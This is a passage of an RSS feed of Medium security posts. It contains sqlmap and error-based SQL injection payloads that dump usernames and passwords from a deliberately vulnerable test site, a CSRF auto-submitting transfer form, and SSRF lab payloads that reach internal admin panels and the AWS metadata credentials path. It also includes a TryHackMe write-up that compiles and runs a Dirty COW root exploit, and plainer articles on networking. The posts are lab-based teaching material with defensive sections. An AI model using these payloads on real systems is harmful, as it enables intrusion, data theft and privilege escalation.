“http://testphp.vulnweb.com/artists.php?artist=1&quot; -p artist</blockquote><p>Earlier, we had discovered that the <strong>DBMS is MySQL</strong>, so we specify it:</p><p>Once we know that the database name is acuart, we want to list the tables inside it: dbms=mysql</p><blockquote>sqlmap -u “<a href="http://testphp.vulnweb.com/artists.php?artist=1">http://testphp.vulnweb.com/artists.php?artist=1</a>&quot; -p artist -dbms=mysql</blockquote><p><strong><em>Step 1: </em></strong><em>Identify the Databases</em></p><p>To find out which databases are available:</p><blockquote><em>sqlmap -u “http://testphp.vulnweb.com/artists.php?artist=1&quot; -p artist — dbms=mysql — dbs</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*QGcIIXDiUMbNqrr8JH6M1w.png" /></figure><p><strong><em>Step 2: </em></strong><em>Get the Tables in the “acuart” Database</em></p><p>Once we know that the database name is acuart, we want to list the tables inside it:</p><blockquote>sqlmap -u “<a href="http://testphp.vulnweb.com/artists.php?artist=1">http://testphp.vulnweb.com/artists.php?artist=1</a>&quot; -p artist — dbms=mysql -D acuart — batch — tables</blockquote><blockquote>Note: The <em>--batch</em> option is used to run SQLMap without asking any prompts.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*ZdUhsz-qKy0RJHsCm5fYcQ.png" /></figure><p>So, we have successfully extracted the table names.<br>Next, we need to extract the <strong>contents of those tables</strong>.<br>For this, the command will be as follows:</p><blockquote>sqlmap -u “http://testphp.vulnweb.com/artists.php?artist=1&quot; -p artist — dbms=mysql -D acuart — batch -T users — dump</blockquote><p>Sometimes, the SQL injection point is not directly in the URL but in a login form or POST request.<br>In that case, we need to capture the request and save it to a file (e.g., test.txt).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*jrBgEmi904V0byAgwvo9fg.png" /></figure><p>The command will look like this:</p><blockquote>sqlmap -r test.txt — dbms=mysql — level=5 — risk=3 — dump</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*99X0Zh3gODmX7xWrwsgvww.png" /></figure><h4>ERROR based</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*pMTajSytXtaPxEzQgPAkHQ.png" /></figure><p>From the result (I will attach an image), we can suspect that there might be an <strong>error-based SQL injection</strong> vulnerability here.<br> To test this, we will use the ExtractValue() function.</p><p>The ExtractValue() function has two parts. We can put anything random in the first part; our work will be done in the <strong>second part</strong>.</p><blockquote>ExtractValue(1234, (SELECT database()))</blockquote><p>When we write it like this, we don’t get any response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Q_hgcSkFZ0E9rHH3c5hjNQ.png" /></figure><p>So, we need to change the query a bit:</p><blockquote>ExtractValue(1234, CONCAT(1234, (SELECT database())))</blockquote><p>When we write it like this, we successfully extract the <strong>database name</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*ZlB73qvnqslnIeuInwUb3g.png" /></figure><p>So the correct format of the function should be:</p><blockquote>ExtractValue(“”, CONCAT(“=”, @@version))</blockquote><p><strong>Now, let’s extract the table names using this method.</strong><br>Our query will look like this:</p><blockquote>ExtractValue(1234, CONCAT(12345, (SELECT table_name FROM information_schema.tables WHERE table_schema=’acuart’)))</blockquote><p>However, when we use this, it won’t work because there is <strong>more than one table name</strong>, and this causes an error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*_OKKUFabOWF5EsPnNX6gGw.png" /></figure><p>So, to extract only <strong>one table name at a time</strong>, we need to use <strong>LIMIT</strong>:</p><blockquote>ExtractValue(1234, CONCAT(12345, (SELECT table_name FROM information_schema.tables WHERE table_schema=’acuart’ LIMIT 1)))</blockquote><p>To get the second table, we use:</p><blockquote>LIMIT 1,1</blockquote><p>For the third:</p><blockquote>LIMIT 2,1</blockquote><p>And we continue like that.</p><p>As with other methods, the <strong>next step</strong> is to extract the <strong>column names</strong>.<br> Our query will be like this:</p><p>ExtractValue(1234, CONCAT(12345, (SELECT column_name FROM information_schema.columns WHERE table_name=’users’ LIMIT 1)))</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*jlFsSAfJsqM6l6Q_bFUisQ.png" /></figure><p>For the second column:</p><blockquote>ExtractValue(1234, CONCAT(12345, (SELECT column_name FROM information_schema.columns WHERE table_name=’users’ LIMIT 1,1)))</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*lseX4eJraOWiLOaapITePw.png" /></figure><p><strong>Finally</strong>, we need to extract the uname and pass.<br> So, the query will be:</p><p>ExtractValue(1234, CONCAT(12345, (SELECT CONCAT(uname, pass) FROM users LIMIT 1)))</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*wslhE62ugJYI2n7AavnPLA.png" /></figure><h4>Conclusion</h4><blockquote>In this section, we discussed various types of SQL Injection, including In-band SQLi, Blind SQLi, and their respective subtypes. We also demonstrated practical examples of how these attacks are executed, using both manual exploitation techniques and automated tools such as SQLMap. Realistic scenarios were tested on intentionally vulnerable applications like DVWA and VulnWeb, which allowed us to simulate real-world attacks in a controlled environment.</blockquote><blockquote>The goal of this article was not only to showcase how SQL injection vulnerabilities can be identified and exploited, but also to emphasize the importance of understanding the underlying mechanisms of each technique. From extracting database names and tables using UNION SELECT, to retrieving data through Error-based and Boolean/Time-based Blind SQLi, we explored several core concepts that penetration testers and security researchers must be familiar with.</blockquote><blockquote>I hope this article has provided you with valuable insights and practical knowledge that can help strengthen your understanding of web application security.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7e7c7c253e50" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Internet Connectivity and Web Application Infrastructure Flow]]></title>
            <link>https://medium.com/@agazadeamin05/internet-connectivity-and-web-application-infrastructure-flow-d73385ac481f?source=rss-16635ad7ad77------2</link>
            <guid isPermaLink="false">https://medium.com/p/d73385ac481f</guid>
            <category><![CDATA[ip]]></category>
            <category><![CDATA[web]]></category>
            <category><![CDATA[network]]></category>
            <category><![CDATA[servers]]></category>
            <dc:creator><![CDATA[agzdamin]]></dc:creator>
            <pubDate>Wed, 14 May 2025 18:15:09 GMT</pubDate>
            <atom:updated>2025-05-14T18:15:09.372Z</atom:updated>
            <content:encoded><![CDATA[<h3><em>Introduction</em></h3><p><em>In today’s digital world, seamless communication between devices and efficient web service delivery are the foundation of all online experiences. From the moment you turn on your computer to the second you access a website, a complex yet fascinating series of networking processes take place behind the scenes.</em></p><p><em>Have you ever wondered </em><strong><em>how your computer gets an IP address</em></strong><em>, how </em><strong><em>two devices on a local network find each other</em></strong><em>, or what actually happens when you type a web address like </em><em>a.com into your browser?</em></p><p><em>This article will walk you through the </em><strong><em>fundamental principles of computer networking</em></strong><em> — including </em><strong><em>IP addressing, ARP, DNS resolution, TCP connections, and NAT</em></strong><em> — as well as explore the </em><strong><em>core mechanisms of modern web infrastructure</em></strong><em>, such as </em><strong><em>load balancing, reverse proxies, Redis-based session management, CDNs</em></strong><em>, and </em><strong><em>Disaster Recovery Centers (DRC)</em></strong><em>.</em></p><p><em>Whether you’re a beginner trying to understand the basics or a curious tech enthusiast eager to know what really powers the internet, this guide is designed to break down complex processes into simple, understandable concepts.</em></p><h4>1. Getting an IP Address (DHCP)</h4><p>When we turn on the computer, it needs to get an IP address. For this, it sends a <strong>DHCP request</strong> to the modem in order to receive an IP address.</p><p>This is when the “DORA” process happens, meaning:<br>Discover — The client searches for a DHCP server to get an IP address by broadcasting.<br>Offer — The DHCP server offers an IP address.<br>Request — The client accepts that IP address.<br>Acknowledge — The DHCP server confirms that the IP address is assigned to that client.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/314/1*e2ReiLGpsEbDNQgeGbFZlw.png" /></figure><h4>2. Communication Between Two Computers (ARP)</h4><p>There are two computers — how do they communicate with each other?<br> They use the <strong>ARP (Address Resolution Protocol)</strong>.</p><p>For example, 192.168.1.1 wants to communicate with 192.168.1.2.<br> So, 192.168.1.1 sends an ARP request:</p><blockquote><em>“Who has 192.168.1.2? Tell me your MAC address!”</em></blockquote><p>The device with that IP responds:</p><blockquote><em>“I am 192.168.1.2, my MAC address is AA:BB:CC:DD:EE:FF”</em></blockquote><p>Then, this MAC address is saved in the <strong>ARP table</strong> so that it doesn’t have to ask again.<br> 192.168.1.1 writes the MAC of 192.168.1.2 into its table, and the modem stores the MAC addresses of both devices in its own table.</p><h4>3. Accessing a Website</h4><p>To access the internet, we need more than just an IP from DHCP. We also need:</p><ul><li><strong>DNS server</strong> (e.g. 8.8.8.8)</li><li><strong>Gateway</strong> (e.g. 10.0.0.1) — the nearest exit to the internet</li><li><strong>Subnet mask</strong> — to ensure the network classes match</li></ul><h4>4. DNS Resolution Process</h4><p>When we open the browser and type a.com, the computer first checks its <strong>hosts file</strong> (/etc/hosts).<br> If there’s no entry, it asks the <strong>DNS resolver</strong> (8.8.8.8) using <strong>UDP on port 53</strong>.<br> If the resolver doesn&#39;t know, it asks the <strong>root DNS server</strong>.<br> If root doesn’t know, it redirects to the <strong>TLD server</strong> (like .com), and if that doesn’t know either, it redirects to the <strong>authoritative DNS server</strong> for a.com.</p><p>The IP address is then received and cached <strong>locally</strong>.</p><h4>5. Establishing a TCP Connection (Three-Way Handshake)</h4><p>When we connect to that IP, a <strong>TCP</strong> connection is made.The packet includes:</p><ul><li>Source IP</li><li>Destination IP</li><li>Source port</li><li>Destination port</li></ul><p>However, we cannot browse the internet using a <strong>local IP</strong>.<br> That’s why <strong>NAT (Network Address Translation)</strong> is used — it changes the source IP to a <strong>public IP</strong>.</p><p>We send a <em>TCP SYN</em> packet.<br> The server responds with a <em>SYN-ACK</em>.<br> Then the computer sends an <em>ACK</em> back.</p><p>This is called a three-way handshake.<br> It is important to prevent IP spoofing, because if someone spoofs an IP address, the SYN-ACK packet will be sent to that fake IP, and the attacker will not receive it — so the connection will fail.</p><h4>6. HTTP Request and Firewall</h4><p>After the TCP connection, HTTP request and response take place.<br>Before reaching the web server, the request passes through a firewall, which protects against TCP SYN attacks.</p><h4>7. Virtual Hosting</h4><p>One web server can host multiple websites — this is called virtual hosting.<br> The websites’ files are stored in /var/www.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*oYpJNMBq0qEYaSff9mNhvQ.png" /></figure><h4>8. Load Balancing and Scalability</h4><p>When too many requests arrive at a server, it may become overloaded and slow down.<br> To handle this problem, instead of using a single web server, multiple web servers (e.g., 2 or more) are used. This is called horizontal scaling.</p><p>A <strong>load balancer</strong> is placed in front of these servers to distribute incoming traffic evenly among them. This improves performance, ensures high availability, and prevents any single server from becoming a bottleneck.</p><p>Additionally, the <strong>database</strong> can be separated or replicated (e.g., master-slave architecture or database clustering) to handle more data and traffic efficiently.</p><p><strong>Key components:</strong></p><ul><li>Multiple web servers</li><li>Load balancer</li><li>Scalable or distributed databases</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EevtgpKoQcZfJShKxvcexA.png" /></figure><h4>9. Reverse Proxy and SQL Proxy</h4><p>To optimize performance and security in web architectures, both reverse proxies and SQL proxies are used. Let’s visualize the flow of a typical request:</p><ol><li><strong>The request passes through the firewall</strong>:<br> The firewall checks if the request is safe and blocks unauthorized traffic.</li><li><strong>Then it goes to the reverse proxy</strong>:<br> The reverse proxy acts as an intermediary between the client and the web servers. It handles load balancing, SSL termination, caching, and forwards the request to the correct server based on the session or routing logic.</li><li><strong>The reverse proxy forwards the request to the correct web server</strong>:<br> The server processes the request, and if it needs data from a database, it sends an SQL query.</li><li><strong>SQL queries pass through the SQL proxy</strong>:<br> An SQL proxy sits between the application and database. It routes queries to the appropriate database server (e.g., read/write splitting, multi-database setups), optimizes queries, logs requests, or handles failovers.</li></ol><h4>10. Storing Sessions in Redis</h4><p>In web applications, user session data is typically stored on the server to keep track of user login status, preferences, or cart items.</p><p>If this session data is stored in a relational database (like MySQL or PostgreSQL), it can create performance issues, especially when there are many users. Each session read or write increases the number of database queries, which may overload the database and slow down the application.</p><p>To fix this, sessions are often stored in Redis instead. Redis is an in-memory key-value store, which makes reading and writing session data extremely fast compared to traditional databases.</p><h4>11. Static Files and CDN</h4><p>Web applications include static files such as images, CSS, JavaScript, fonts, and videos. These files don’t change often and are the same for every user.</p><p>If static files are stored only on one or a few web servers, there’s a problem:<br> If one server fails or is under heavy load, those static resources become unavailable, slowing down or breaking the website for users.</p><p>To solve this, a <strong>CDN (Content Delivery Network)</strong> is used. A CDN is a distributed network of servers located in different geographic regions. Static files are replicated across many of these servers.</p><h4>12. Disaster Recovery Center (DRC)</h4><p>A <strong>Disaster Recovery Center (DRC)</strong> is a backup infrastructure designed to take over when the main system or data center fails due to disasters like power outages, cyberattacks, hardware failure, or natural events (earthquakes, floods, fires, etc.).</p><p>The DRC contains copies of critical data and applications, and it is typically located in a different geographical region from the primary data center.</p><p>If the main system goes down, the services are automatically (or manually) switched to the DRC, so that users can continue using the system without interruption or with minimal downtime.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sXeSztH0_3velYXU" /></figure><h3>Conclusion</h3><blockquote>In summary, the seamless operation of modern web services is underpinned by a wide array of interconnected networking principles and server-side technologies. From the initial DHCP handshake to obtain an IP address, to ARP-based local communication, DNS resolution, TCP handshakes, and the intricacies of NAT, each step plays a vital role in enabling end-to-end connectivity. Beyond basic communication, today’s web infrastructure leverages advanced components such as firewalls, virtual hosting, load balancers, reverse and SQL proxies, Redis-backed session storage, CDNs, and Disaster Recovery Centers to ensure high availability, scalability, and resilience.</blockquote><blockquote>Understanding these layers not only deepens our appreciation of how the internet works but also equips professionals with the knowledge to design, optimize, and secure robust networked systems. As technology continues to evolve, mastering these foundational concepts remains critical for anyone pursuing a career in systems administration, cybersecurity, or backend web development.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d73385ac481f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Session and Cookie,Cross Site Request Forgery (CSRF)]]></title>
            <link>https://medium.com/@agazadeamin05/session-and-cookie-cross-site-request-forgery-csrf-3b25dc6acc56?source=rss-16635ad7ad77------2</link>
            <guid isPermaLink="false">https://medium.com/p/3b25dc6acc56</guid>
            <category><![CDATA[csrf-token]]></category>
            <category><![CDATA[toke]]></category>
            <category><![CDATA[csrf]]></category>
            <category><![CDATA[sessions]]></category>
            <category><![CDATA[cookies]]></category>
            <dc:creator><![CDATA[agzdamin]]></dc:creator>
            <pubDate>Mon, 12 May 2025 12:38:56 GMT</pubDate>
            <atom:updated>2025-05-12T12:38:56.797Z</atom:updated>
            <content:encoded><![CDATA[<h3>Difference between Session and Cookie</h3><p>A <strong>cookie</strong> is a small piece of data stored in the user’s browser. It is commonly used to identify the user and track their activity. Cookies are stored on the <strong>client side</strong> and can be seen by the user.</p><p>A <strong>session</strong>, on the other hand, is created on the <strong>server side</strong>, and it stores user-related information there. The user cannot see the session itself but connects to it via a cookie that holds the session ID in their browser. Session data is usually temporarily written to disk on the server, typically in the <strong>/tmp</strong> directory.</p><h4>In short,</h4><p>Cookie is like a key — it represents your identity.<br>A session is on the server side, where the client</p><p>cannot see it and where the client’s cookies are collected.<br> The information stored in the session is, by default, written to disk in the /tmp directory.</p><p>However, if cookies are stored only on disk, it can cause performance issues — every request would involve writing to and deleting from the disk, which slows things down. That’s why storing session data on disk is not efficient. For this reason, many systems prefer to store sessions in a <strong>database</strong>.</p><p>But this also creates challenges in terms of <strong>load balancing</strong> and <strong>performance</strong>. That’s why <strong>Redis</strong> is often used.</p><p>Redis caches the session data. For example, if you start your session on the first server and then get redirected to a second server, Redis ensures you can continue from where you left off. It maintains cache and enables <strong>synchronized operation between servers</strong>.There is one more way, which is cookie-based session. In this case, the client stores the session data on its own side.Normally, the server would give a cookie to the client, but this time it doesn’t happen like that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KzrxQ5xubPBVYkSIMnixAA.jpeg" /></figure><h4>So how does it happen?</h4><p>There is a json</p><h4>{‘IV’:’RANDOM_Value’}</h4><p>And then the request is sent.</p><p>POST /login HTTP/1.1</p><p>Host: example.com</p><p>Content-Type: application/x-www-form-urlencoded</p><p>Content-Length: 29</p><p>username=ali&amp;password=123456</p><p>And a response is returned.</p><p>HTTP/1.1 200 OK<br>Set-Cookie: session_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9…; HttpOnly; Secure; SameSite=Strict<br>Content-Type: application/json<br>Content-Length: 47</p><p>{<br> “message”: “Login successful”,<br> “user”: “ali”<br>}</p><h4>How is a cookie sent using the Set-Cookie header?</h4><p>Set-Cookie: SESSION={‘IV’:’RANDOM_Value’,’session_data’:[ ‘email‘,’user_id’]} |CHECKSUM</p><p>To encrypt this, there is a Symmetric Encryption Super Secret Key in the server’s config file, which is a random key. You encrypt it using this key and the IV value with symmetric encryption.</p><p>Then, to verify that the encryption has not been altered,</p><p>SESSION={‘IV’:’RANDOM_Value’,’session_data’:ENC}</p><p>|HMAC({‘IV’:’RANDOM_Value’,’session_data’:ENC}+Key)</p><p>You encode it with Base64 and send it to the user. The user doesn’t know the content, but when it comes back to the server, the server can decrypt and verify it because the key is stored on the server.</p><p>CSRF (Cross-Site Request Forgery) attack is when a request is sent to a website on behalf of the user without their knowledge. These attacks usually occur when the user is already logged in to the website.<br> For example, the user first logs in to the bank.com website.</p><p>GET /login HTTP/1.1</p><p>Cookie: session_id=abc123</p><p>The browser stores this session_id.<br>Then, the attacker sends the following HTML link to the user (via email, forum, advertisement, etc.):</p><p>&lt;form action=”https://bank.com/transfer&quot; method=”POST”&gt;</p><p>&lt;input type=”hidden” name=”amount” value=”1000&quot;&gt;</p><p>&lt;input type=”hidden” name=”to” value=”hacker”&gt;</p><p>&lt;/form&gt;</p><p>&lt;script&gt;</p><p>document.forms[0].submit();</p><p>&lt;/script&gt;</p><p>As soon as the user opens this page, the request is automatically sent, and the browser adds the session_id by itself:</p><p>POST /transfer HTTP/1.1</p><p>Host: bank.com</p><p>Cookie: session_id=abc123</p><p>Content-Type: application/x-www-form-urlencoded</p><p>amount=1000&amp;to=hacker</p><p>Without the user’s knowledge, the money gets transferred.</p><p>How can it be prevented?</p><h4><strong>1. CSRF Token</strong></h4><p>The site places a server-generated hidden token inside the form:<br> &lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;abcXYZsecure&quot;&gt;<br> The server checks this token, and if it doesn’t match, the operation is stopped.<br> This is the simplest explanation of CSRF.</p><h4>2. Samesite cookie</h4><p>The second method to prevent CSRF is the SameSite cookie. The purpose of this is that it won’t accept requests coming from other websites. In other words, you can only send a request to bank.com from bank.com, and if a request comes from hacker.com, it will not recognize it and will reject it.</p><p>The SameSite attribute ensures that cookies are only sent by the same site. This attribute rejects cross-site requests (requests coming from other websites), thereby preventing CSRF attacks.</p><p>There are 3 types of SameSite Attribute</p><p><strong>SameSite=Strict</strong><br> Cookies are only sent in requests coming from the same site.<br> No request from other websites (e.g., hacker.com) can access this cookie.<br> It offers the strongest security but can sometimes degrade the user experience (e.g., when clicking a link from another page).</p><p><strong>SameSite=Lax</strong><br> This accepts several types of cross-site requests (e.g., GET method requests).<br> It is less secure than Strict, but in some cases, it provides a better user experience.</p><p><strong>SameSite=None</strong><br> This allows cookies to be sent in all cross-site requests.<br> If SameSite=None is used, the cookie must also be Secure (i.e., it can only be sent over HTTPS).<br> This feature is mostly used in third-party services (e.g., ads, etc.).</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3b25dc6acc56" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What’s SSRF(Server Side Request Forgery)]]></title>
            <link>https://medium.com/@agazadeamin05/whats-ssrf-server-side-request-forgery-dd729ab88b8b?source=rss-16635ad7ad77------2</link>
            <guid isPermaLink="false">https://medium.com/p/dd729ab88b8b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[injection]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[server-side-request]]></category>
            <dc:creator><![CDATA[agzdamin]]></dc:creator>
            <pubDate>Fri, 09 May 2025 08:13:39 GMT</pubDate>
            <atom:updated>2025-05-09T08:13:39.562Z</atom:updated>
            <content:encoded><![CDATA[<p>Server-Side Request Forgery (SSRF) is a critical web vulnerability that occurs when an attacker is able to manipulate a server-side application to make HTTP requests to unintended locations, including internal systems that are not directly accessible from the internet. This vulnerability arises in applications that fetch remote resources based on user input — such as importing URLs, generating previews, or processing webhooks — without properly validating or sanitizing that input.</p><p>SSRF can be exploited to bypass firewalls, access internal admin interfaces, interact with cloud metadata services (e.g., AWS EC2 metadata on 169.254.169.254), and in some cases pivot deeper into the infrastructure. Depending on the server’s permissions and configuration, SSRF can lead to information disclosure, lateral movement, and even remote code execution.</p><p>In this article, we will examine what Server-Side Request Forgery (SSRF) is, how it can be exploited in real-world scenarios, and walk through hands-on labs that demonstrate the impact and techniques used in SSRF attacks. These labs will help reinforce the concepts and provide practical experience in identifying and exploiting SSRF vulnerabilities.</p><p>To understand this vulnerability, you first need to recognize the moments when the backend server behaves like a client — making HTTP requests to other systems on behalf of the user. This client-like behavior is what SSRF exploits, allowing attackers to manipulate internal requests and gain unauthorized access to restricted resources.</p><h4>In the simplest way,</h4><p>Web Application Server→External Resource,endpoint “The one you can connect to”</p><p>Web Application Server →Internal Server”The server the app can connect to, but you cannot”</p><p>What happens if the application takes the URL from you and adds a property to it and modifies the outgoing request to connect to an internal service? That’s the primary purpose of SSRF.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*oYZkAMhVPFuJg1toaOE6KQ.png" /></figure><p>The two main types of SSRF are:</p><p><strong>Basic SSRF</strong>: In this type, the attacker manipulates the server to send requests to external or internal networks (such as internal services). The attacker uses the server’s open services to achieve their goal.In <strong>Basic SSRF</strong>, the web application server receives a request from you (the attacker) and forwards it to an external server. The external server responds to the request, and the application server then brings the response back to you.</p><p>This type of attack typically involves manipulating the web application to make it send a request to an external resource or service on your behalf. The application acts as a proxy, forwarding your request and receiving the response, which could then be used for malicious purposes.</p><p><strong>Blind SSRF</strong>: In this type, the attacker sends requests to internal resources of the server but does not directly see the server’s responses. Instead, the attacker relies on the server’s behavior or delays to gather information.</p><p>In <strong>Blind SSRF</strong>, the app receives a URL query from you and sends it to an external server. The external server responds, and the application stores the response in the database, but does not show it to you.</p><h4>Now let’s look at labs to better understand the topic of SSRF,</h4><p>You can access the labs through this link: <a href="https://portswigger.net/web-security/all-labs#server-side-request-forgery-ssrf">https://portswigger.net/web-security/all-labs#server-side-request-forgery-ssrf</a></p><h4>LAB 1</h4><p>In this lab, we are asked to delete the user ‘wiener’ from the admin interface at <a href="http://localhost/admin">http://localhost/admin</a>..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*BcA8Vp3BskYkZJSf_1-8Xw.png" /></figure><p>We are checking the ‘Check stock’ section,let’s look at the request in Burp Suite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*e-aDzdEQzPIHuJF94mC9pw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*7NXgOXWp6vCH5ahmMejWTQ.png" /></figure><p>“We modify the stock API in such a way that we receive a response and learn how to delete the user ‘wiener’. We find this URL: http://localhost/admin/delete?username=carlos. When we send this URL, what happens? The application (specifically the backend) takes this URL and sends an HTTP request by itself — meaning it acts as a client. We take advantage of this behavior to access internal resources, and by making the server act as a client, we are able to delete the &#39;wiener&#39; user.&quot;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*doWGxPckW5i6njqMYEmoow.png" /></figure><h4>LAB 2</h4><p>The goal here is to use Intruder. We need to find the IP on port 8080, and for this, we will use Intruder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*6IlTibQM5gzWWmTww8tN0Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*TPDhR0_tnnpGgw0GKwzrlQ.png" /></figure><p>The part we need is http://192.168.0.1:8080/, and we provide this to Intruder to find the IP. We get a &#39;184 Not Found&#39; response, but we were looking for a 200 status. We check the Not Found response because we need to add /admin to the URL to get a 200 response. Then, from there, we send the URL to delete Carlos</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*7UHyyjfaWihEB_cIa4rAeQ.png" /></figure><h4><a href="http://192.168.0.112:8080/admin/delete?username=carlos">http://192.168.0.112:8080/admin/delete?username=carlos</a></h4><h4>LAB 3</h4><p>Here, we are trying to learn about the vulnerability created by the Referer header. This is a Blind SSRF, where, as we know, we don’t receive a response. To check if there is an SSRF vulnerability, we use Collaborator. We take the domain provided by Collaborator, write it in the Referer header, and if the server sends a request to our Collaborator, it means we can send a request to the target from here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*4YNpuozvFdKL1KicGZrQjw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*fCOsOwqzHkS_31nk2XOE2A.png" /></figure><h4>LAB 4</h4><p>We are looking at how to find an SSRF vulnerability by using Open Redirection. First, we search for the open redirect feature on the site, and it is located on the ‘next product’ section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*edOdjGbi9OVoF0y_-fgBCw.png" /></figure><p>The path is the path of the redirect. We manipulate this part.</p><p>When we send GET /product/nextProduct?currentProductId=1&amp;path=http://192.168.0.12:8080/admin, we check in Repeater and see that the response is normal, and there is no validation. Then, we send it to a place with the stock API because we are asked to delete Carlos.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*AG06kqlGH4caFl4blwl3NQ.png" /></figure><h4>Ways to Protect Against SSRF</h4><ol><li>Block internal IPs such as ‘localhost’, ‘127.0.0.1’, ‘169.254.169.254’ (AWS metadata IP) (Input Validation).</li></ol><h4>WHY?</h4><p><strong>1)What are 127.0.0.1 and localhost?</strong></p><p><strong>These IPs refer to the server itself (the server where the application is running).</strong></p><p><strong>With an SSRF attack, an attacker can force the server to send requests to itself.</strong></p><p><strong>This way, for example, they can attack the admin panel, database interface, or internal APIs.</strong></p><p><strong>If the link </strong><strong>http://127.0.0.1/admin is provided by the user and the application sends a request to it, the attacker could gain access to the admin panel.</strong></p><p><strong>2) What is 169.254.169.254?</strong></p><p><strong>This IP address is used by cloud platforms (especially AWS).</strong></p><ul><li><strong>In AWS, this IP allows access to the metadata service.</strong></li><li><strong>By sending a request to this service, an attacker can retrieve the server’s token, configuration data, and even IAM access keys.</strong><br> <strong>Example: </strong><a href="http://169.254.169.254/latest/meta-data/iam/security-credentials/"><strong>http://169.254.169.254/latest/meta-data/iam/security-credentials/</strong></a></li></ul><p>2. Allow only whitelisted domains and IPs.</p><p><strong>What is a Whitelist?<br> A whitelist is a list of domains and IPs that are considered trusted.<br> The application can only send requests to addresses on this list.</strong></p><p>3. Security at the Network Layer</p><ul><li>Limit the server’s access to the internet (especially internal IPs and metadata services).</li><li>Block HTTP/HTTPS requests to the internal network through firewalls or security groups.</li></ul><p>4. Coding Practices</p><ul><li>Avoid functions that automatically accept URLs.</li><li>Be cautious when using third-party libraries that could cause SSRF in the application.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dd729ab88b8b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux PrivEsc Arena — Try Hack Me]]></title>
            <link>https://medium.com/@agazadeamin05/linux-privesc-arena-try-hack-me-85dc33fdb34d?source=rss-16635ad7ad77------2</link>
            <guid isPermaLink="false">https://medium.com/p/85dc33fdb34d</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[linux-privesc]]></category>
            <dc:creator><![CDATA[agzdamin]]></dc:creator>
            <pubDate>Fri, 02 May 2025 17:29:35 GMT</pubDate>
            <atom:updated>2025-05-03T16:16:54.558Z</atom:updated>
            <content:encoded><![CDATA[<h3>Linux PrivEsc Arena — TryHackMe</h3><p>Here, you’ll learn different techniques and usual ways to gain higher privileges in a Linux environment.</p><h4>Task 1</h4><p>Connect to the VPN and start the virtual machine</p><h4>Task 2 — Privelege Escalation — Deploy the vulnerable machine</h4><p>Include the IP address of the target machine in the /etc/hosts file and proceed to SSH into the target system</p><pre>ssh TCM@IP -o HostKeyAlgorithms=+ssh-rsa</pre><h4>Task 3 — Privilege Escalation — Kernel Exploits</h4><p>This is an attack method that allows you to gain root access to the system by exploiting a vulnerability in the operating system kernel. Once you have gained access to the system, you need to search for an exploit that matches your kernel version. We can do this manually via the Internet or by running a script located at /home/user/tools/linux-exploit-suggester/linux-exploit-suggester.sh that identifies potential vulnerabilities in your kernel version. In our case, there is a Dirty COW vulnerability that matches our kernel version, and the C code required to exploit it is already present on the Linux system.</p><ol><li>We check our version with uname -r and search for the exploit on the internet, but this time the search tool provided us with a ready-made solution.</li><li>We need to look for the vulnerability, cve, exploit that matches our kernel version.</li></ol><pre>/home/user/tools/linux-exploit-suggester/linux-exploit-suggester.sh</pre><p>The Dirty COW vulnerability (CVE) was discovered, and the C code to exploit it is available on the Linux system.</p><p>3. We need to make the C code executable, compile it</p><pre>gcc -pthread /home/user/tools/dirtycow/c0w.c -o c0w</pre><p>4.We execute the dirtycow code and to become root, just type passwd or ID</p><pre>./c0w</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*JtNRQJsIwvdrgbBxIUB8KA.png" /></figure><h4>Task 4 — Privilege Escalation — Stored Passwords (Config Files)</h4><p>This simply shows that configuration files can contain different types of 